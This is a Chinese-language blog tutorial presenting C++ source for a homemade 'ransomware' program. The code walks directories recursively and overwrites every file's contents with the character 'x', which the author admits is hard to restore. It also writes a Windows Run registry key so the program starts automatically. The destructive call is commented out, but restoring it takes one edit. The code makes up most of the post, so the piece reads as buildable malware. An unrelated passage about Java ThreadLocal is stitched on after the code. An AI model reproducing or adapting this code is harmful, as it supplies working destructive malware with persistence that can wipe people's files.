浅析勒索病毒

在这里插入图片描述

这里我们先做一下准备:

1.在一个重要文件比较少的盘里创建一个文件夹,然后在这个文件夹下再创建很多个有内容的文本文档和文件夹。文本文档里可以根据需要是字母还是数字,还是什么字符**(总之它的ASCII码值比较好找就是了)**
如以下这种:
在这里插入图片描述

2.将勒索病毒的源代码保存在另一个盘的一个目录下,反正最后只需要.exe文件。

3.浅层的方法就是通过文件读写去 破坏里面的内容 修改或者加密
这个程序的关键是逻辑思维

4.计算机中所有的内容分为两种:都是树状结构

     1)文件夹(也就是目录)
     2)文件  exe  txt doc .xsl  avi  pdf  md
数字:一个字节
标点:两个字节
汉字:两个字节

我们的计算机系统,每个文件夹下都有两个默认的文件夹(人正常是看不到的)。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这两个目录大范围伤害可以碰(连上一级目录都破坏,那就是在破坏整个计算机系统),但是只是做普通的代码的话不要碰(后果比较麻烦)
但是在下面我们具体执行代码的时候,会递归到无限多个以 . 开头的文件,这样不是我们想要的,所以要避开 . 开头的文件。

接下来就一步步去做。去实现可加密、可还原、自启动、注册表。(目的)

在这里插入图片描述在这里插入图片描述

勒索病毒调用的是随机加密算法库

步骤为:
1.获取当前程序所在的路径
2.探测当前路径下的内容
用 通配符 *.*
文件名.后缀名
在这里插入图片描述
3. 判断当前文件的属性

 if(判断当前文件属性 == 如果是文件夹){
               再次判断if(文件名的第一个字符是否为 != '.')
               {
                  做接下来的操作
               }
   } else {
           就是打开这个文件  对文件内容进行我们的“加密”
   }

现在开始用VS2017编写代码。

在这里插入图片描述
除了源文件main.cpp之外,直接在头文件那里添加一个类就行。
顺便鼠标右键单击 LESUO ,出现属性,点击属性,调整一下。在这里插入图片描述在这里插入图片描述
这样更容易识别。
在这里千万不要点这个,要不然会出问题,直接最后生成的.exe文件拖动到目标测试文件夹里开始执行就行了↓↓↓↓▼▼▼∨∨∨。直接点重新生成就行
如果立即点了运行,你的源代码就被加密了
在这里插入图片描述

所以我们分三个文件去编写代码。
LESUO.h

#include<iostream>
#include<fstream>
#include<Windows.h>
using namespace std;

#pragma once
class LESUO
{
public:
	void Run();
	//运行病毒

private:
	void FindFile(char* FileName); //查询文件
	void OpenFile(char* FileName);  //打开文件夹 
};


LESUO.cpp

#include "LESUO.h"
//获取当前文件的内容
void LESUO::Run() {
	//当前文件夹名字
	char CurrentDirectoryName[256];

	GetCurrentDirectory(256, CurrentDirectoryName);//获取当前文件路径名字

	cout << "当前文件路径:" << CurrentDirectoryName << endl;

	//我就要去查找当前这个路径下的所有信息/内容
	FindFile(CurrentDirectoryName);//调用文件的查找
}

void LESUO::FindFile(char* FileName) {
	//FileName+*.*  去查找
	char PathName[256];  //用保存查找的路径

	memset(PathName, 0, 256);//置空

	sprintf(PathName, "%s\\%s", FileName, "*.*");//字符串拼接

	cout << "当前要所搜的路径:" << PathName << endl;

	WIN32_FIND_DATA FindData;  //可以保存当前目标的信息

	HANDLE hFile = FindFirstFile(PathName, &FindData);

	char Temp[256];
	int val = 1;

	while (val) {
		//如果我的文件属性 是文件夹   
		if (FindData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
			if (FindData.cFileName[0] != '.') {//判断文件夹名字是否为点
				//执行下面的内容
				memset(Temp, 0, 256);
				//我想要破坏的文件也好/文件夹也罢 他的路径
				//当前路径+文件夹名
				sprintf(Temp, "%s\\%s", FileName, FindData.cFileName);
				cout << "文件夹路径" << Temp << endl;
				//如果我找到的是个文件夹的话 则继续查找里面的内容
				FindFile(Temp);  //递归
			}
		}
		else { //不是文件夹就是文件
			//执行下面的内容
			memset(Temp, 0, 256);
			//我想要破坏的文件也好/文件夹也罢 他的路径
			//当前路径+文件名
			sprintf(Temp, "%s\\%s", FileName, FindData.cFileName);
			cout << "文件路径" << Temp << endl;
			//OpenFile(Temp);  //调用破坏文件方法
		}

		//如果下一个文件项目能够找到返回是1 找不到返回的是0
		val = FindNextFile(hFile, &FindData);//查找下一个文件项目
	}
}


void LESUO::OpenFile(char* FileName) {  
	fstream fp;

	fp.open(FileName, ios::out | ios::in);

	if (fp.is_open() == 0) {
		cout << "文件无法打开" << endl;
		return;
	}

	fp.seekg(0, ios::end);//首先把文件指针挪动到文件末尾

	int size = fp.tellg();//从文件末尾向前计算文件的大小 单位:byte(字节)

	fp.seekg(0, ios::beg);//把末尾的文件指针还原到最前方

	char code = 'x';//字母  把文件里面的内容按照规律替换为'x'字符

	for (int i = 0; i < size; i++) {  //很难还原  加密/还原  做字符的偏移
		fp.write(&code, sizeof(code)); //写入文件
		fp.seekg(1, ios::cur);   //破坏 无序列的操作
	}


	fp.close();  //关闭文件


}

LESUO.cpp

#include "LESUO.h"
#include <windows.h>
#include <stdio.h>


void AutoStart()
{
	//找到系统的启动项 
	char *Register = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//这里编译器有可能会报错,所以这个地方我还没搞懂是怎么回事
	char *Myapp = "D:\\_Code\\Apkudo\\LogTest\\Bin\\test.exe";
	//char *Myapp = "D:\\_Code\\Bin\\GIVisualInspectD.exe";
	HKEY hKey;

	//打开注册表启动项 
	if (RegOpenKeyExA(HKEY_CURRENT_USER, Register, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
	{
		//添加一个子Key,并设置值,"Mytest"并不一定是应用程序名字(不加后缀.exe) ,可以自己设置;
		RegSetValueExA(hKey, "Myapp", 0, REG_SZ, (BYTE *)Myapp, strlen(Myapp));
		//关闭注册表
		RegCloseKey(hKey);
		printf("succeed!\n");
	}
	else
	{
		printf("Failed!");
	}
}

void CancelAuto()
{
	HKEY hKey;
	char *RegPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//这里编译器有可能会报错,所以这个地方我还没搞懂是怎么回事

	//1、找到系统的启动项  
	if (RegOpenKeyExA(HKEY_CURRENT_USER, RegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
	{
		//2、删除值
		RegDeleteValueA(hKey, "Myapp");

		//3、关闭注册表
		RegCloseKey(hKey);
	}
}


int main()
{   //自启动
	AutoStart();
	CancelAuto();

	//病毒开始
	LESUO lesuo;

	lesuo.Run(); //启动病毒

	return 0;
}

这里参考了下开机自启动的一篇文章:己编写的程序开机的时候自启

windows和linux编程一般以错误结束是返回 -1
可以参考WIN32_FIND_DATA结构详解
在这里插入图片描述
不懂的可以去微软构建学习。你可以去搜索一个函数名啊啥的,只要是在IDE里自带的都可以。

这里解释下为什么是这种写法。或者是 %s\%s 的写法。

在这里插入图片描述
因为:当你使用一个程序打开什么文件的时候,会有这种情况:
在这里插入图片描述
在这里插入图片描述
其实就是下边的解释:在这里插入图片描述

关于写代码让程序自启动(用写入注册表的方式)

注册表
C++实现程序开机自启动
写了一个C++ 控制台应用程序,怎么让它开机启动?
c++ 让程序开机自动启动的方法

文末给几个相关视频的链接

C/C++实战之——勒索病毒原理解析
C语言之勒索病毒原理解析
作品C/C++技术教程:30分钟解析勒索病毒!程序员用C++技术知识,30分钟

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
ThreadLocal 是 Java 中的一个类,它提供了一种线程局部变量的机制。线程局部变量是指每个线程都有自己的变量副本,每个线程对该变量的访问都是独立的,互不影响。 ThreadLocal 主要用于解决多线程并发访问共享变量时的线程安全问题。在多线程环境下,如果多个线程共同访问同一个变量,可能会出现竞争条件,导致数据不一致或者出现线程安全问题。通过使用 ThreadLocal,可以为每个线程提供独立的副本,从而避免了线程安全问题。 ThreadLocal 的工作原理是,每个 Thread 对象内部都维护了一个 ThreadLocalMap 对象,ThreadLocalMap 是一个 key-value 结构,其中 key 是 ThreadLocal 对象,value 是该线程对应的变量副本。当访问 ThreadLocal 的 get() 方法时,会根据当前线程获取到对应的 ThreadLocalMap 对象,并从中查找到与 ThreadLocal 对象对应的值。如果当前线程尚未设置该 ThreadLocal 对象的值,则会通过 initialValue() 方法初始化一个值,并将其存入 ThreadLocalMap 中。当访问 ThreadLocal 的 set() 方法时,会将指定的值存入当前线程对应的 ThreadLocalMap 中。 需要注意的是,ThreadLocal 并不能解决共享资源的并发访问问题,它只是提供了一种线程内部的隔离机制。在使用 ThreadLocal 时,需要注意合理地使用,避免出现内存泄漏或者数据不一致的情况。另外,由于 ThreadLocal 使用了线程的 ThreadLocalMap,因此在使用完 ThreadLocal 后,需要手动调用 remove() 方法清理对应的变量副本,以防止内存泄漏。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

懒回顾,半缘君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值